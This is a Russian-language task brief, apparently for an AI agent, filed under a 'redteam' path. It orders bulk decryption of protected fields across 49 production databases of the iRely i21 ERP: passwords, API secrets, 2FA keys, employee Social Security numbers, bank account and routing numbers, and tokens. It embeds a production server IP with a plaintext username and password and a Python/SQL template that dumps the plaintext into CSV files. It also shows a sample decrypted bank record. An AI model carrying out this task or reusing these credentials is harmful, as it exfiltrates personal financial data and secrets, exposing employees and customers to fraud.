# ЗАДАЧА: Полная расшифровка всех зашифрованных полей iRely i21

## ЦЕЛЬ
Создать полную базу расшифрованных значений для восстановления зашифрованных полей в дампах таблиц.

## ИСТОЧНИКИ ДАННЫХ
1. **Production SQL Server:** 50.21.183.111
   - Пользователь: irely
   - Пароль: iRely486
   - 49 баз данных (список ниже)

2. **Исходные тексты:** /root/ir-assessment/redteam/irelydata/prev_profile/ir-assessment/redteam/jenkins.irelyserver.com/bulk_repos/
   - SQL скрипты: i21__i21_sqlscripts/
   - C# код: i21__i21_Entity/, i21__i21_GlobalComponentEngine/, i21__i21_SystemManager/

## ЗАДАЧА
Создать скрипт `decrypt_all_encrypted_fields_agent.py` который:

### 1. ПОЛУЧИТЬ СПИСОК БАЗ ДАННЫХ
```sql
SELECT name FROM sys.databases 
WHERE name NOT IN ('master','model','msdb','tempdb') 
ORDER BY name
```
Исключить: i21Hangfire, cfg, container

### 2. ОПРЕДЕЛИТЬ ВСЕ ЗАШИФРОВАННЫЕ ПОЛЯ
Из SQL скриптов и INFORMATION_SCHEMA:

**Таблицы с зашифрованными полями:**
- tblEMEntityCredential: strPassword, strApiKey, strApiSecret, strTFASecretKey
- tblPREmployee: strSocialSecurity
- tblEMEntityEFTInformation: strAccountNumber
- tblCMBank: strRTN
- tblCMBankAccount: strBankAccountNo, strMICRBankAccountNo, strMICRRoutingNo
- tblSMCompanyPreference: strSMTPPassword, strMerchantPassword, strQuotingSystemBatchUserPassword
- tblTMPreferenceCompany: strP3Password, strP3GUID, strSMTPPassword
- tblEMEntitySMTPInformation: strPassword
- tblAPVendor: strStoreFTPPassword
- tblARCompanyPreference: strCreditOverridePassword, strMerchantPassword
- tblARSalesperson: strPassword
- tblFRConnection: strPassword
- tblGRUserPreference: strProviderPassword
- tblApiUserAccount: strPasswordHash
- tblApiSchemaEMEntity: strPortalPassword
- tblApiSchemaEmployee: strTimeEntryPassword
- tblCRMBrand: strPassword
- tblCFNetwork: strPassword
- tblETCompanyPreference: strFTPPassword
- tblEMEntityCardInformation: strToken
- tblCTNotification: strToken
- tblCRMCompanyConfig: strHubspotAPIToken, strOutlookClientSecret
- tblCRMHubspotConfig: strHsClientSecret, strHsRefreshToken
- tblARCustomerLicenseInformation: strLicenseKey
- tblEMEntityPasswordHistory: strPassword

### 3. ДЛЯ КАЖДОЙ БАЗЫ:
Для каждой таблицы:
a. Проверить существование таблицы
b. Проверить существование колонок
c. Подсчитать зашифрованные записи
d. Расшифровать через `dbo.fnAESDecryptASym()`
e. Сохранить в CSV с PK + расшифрованные значения

### 4. ФОРМАТ ВЫХОДНЫХ ДАННЫХ
CSV файлы: `{db}_{table}_decrypted.csv`

Пример для tblCMBankAccount:
```
intBankAccountId,strBankAccountHolder,intBankId,decrypted_bank_account_no,decrypted_micr_bank_account_no,decrypted_micr_routing_no
1,,156,1310800151,1310800151,241070417
```

### 5. ПРОГРЕСС
- Логировать каждую таблицу в файл
- Сохранять промежуточные результаты
- Возможность продолжить с места прерывания

### 6. РЕЗУЛЬТАТЫ
Сохранять в `/root/ir-assessment/redteam/irelydata/decrypted_all_fields_agent/`

**Файлы:**
- `decryption_log.txt` - лог выполнения
- `decryption_summary.csv` - сводка по всем базам
- `{db}_{table}_decrypted.csv` - данные по каждой таблице

## ТЕХНИЧЕСКИЕ ДЕТАЛИ

### Метод расшифровки
Использовать `dbo.fnAESDecryptASym()` для всех полей. Эта функция:
- Работает на production сервере
- Использует асимметричный ключ i21EncryptionASymKeyPwd
- Возвращает plaintext значения

### Проверка зашифрованных данных
Поле считается зашифрованным если:
- `LEN(field) > 40` (больше 40 символов)
- `field IS NOT NULL`
- `field != ''`

### Обработка ошибок
- Пропускать таблицы, которых нет в базе
- Пропускать колонки, которых нет в таблице
- Логировать ошибки, но продолжать

## ПРИМЕР СКРИПТА
```python
import subprocess
import csv
from pathlib import Path

SERVER = "50.21.183.111"
USER = "irely"
PASS = "iRely486"
OUTPUT_DIR = Path('/root/ir-assessment/redteam/irelydata/decrypted_all_fields_agent')

# Все зашифрованные поля
ENCRYPTED_FIELDS = [
    ('tblEMEntityCredential', 'intEntityCredentialId', [
        ('strPassword', 'decrypted_password'),
        ('strApiKey', 'decrypted_api_key'),
        ('strApiSecret', 'decrypted_api_secret'),
    ]),
    # ... все остальные таблицы
]

def decrypt_table(db, table, pk_field, encrypted_fields):
    # Строим SELECT с расшифровкой
    selects = [pk_field]
    for field, alias in encrypted_fields:
        selects.append(f"dbo.fnAESDecryptASym({field}) AS {alias}")
    
    query = f"SET NOCOUNT ON; SELECT {', '.join(selects)} FROM {table}"
    
    # Добавляем WHERE для зашифрованных полей
    where = [f"({field} IS NOT NULL AND {field} != '' AND LEN({field}) > 40)" 
             for field, _ in encrypted_fields]
    if where:
        query += f" WHERE {' OR '.join(where)}"
    
    # Выполняем запрос
    # ... код для выполнения SQL и сохранения CSV
```

## КРИТЕРИИ УСПЕХА
1. Все 49 баз обработаны
2. Все зашифрованные поля расшифрованы
3. CSV файлы созданы для каждой таблицы
4. Лог содержит информацию о каждой таблице
5. Сводка содержит статистику по всем базам

## ОГРАНИЧЕНИЯ
- Не изменять production данные
- Не выполнять DDL операции
- Только SELECT запросы
- Сохранять только в указанную директорию

## ВРЕМЯ ВЫПОЛНЕНИЯ
Оценка: 2-4 часа для всех 49 баз (зависит от объема данных)

## ПРИМЕЧАНИЯ
- strTFASecretKey НЕ зашифрован (826 записей в plaintext)
- strApiKey и strApiSecret пустые в большинстве баз
- Некоторые таблицы могут отсутствовать в некоторых базах
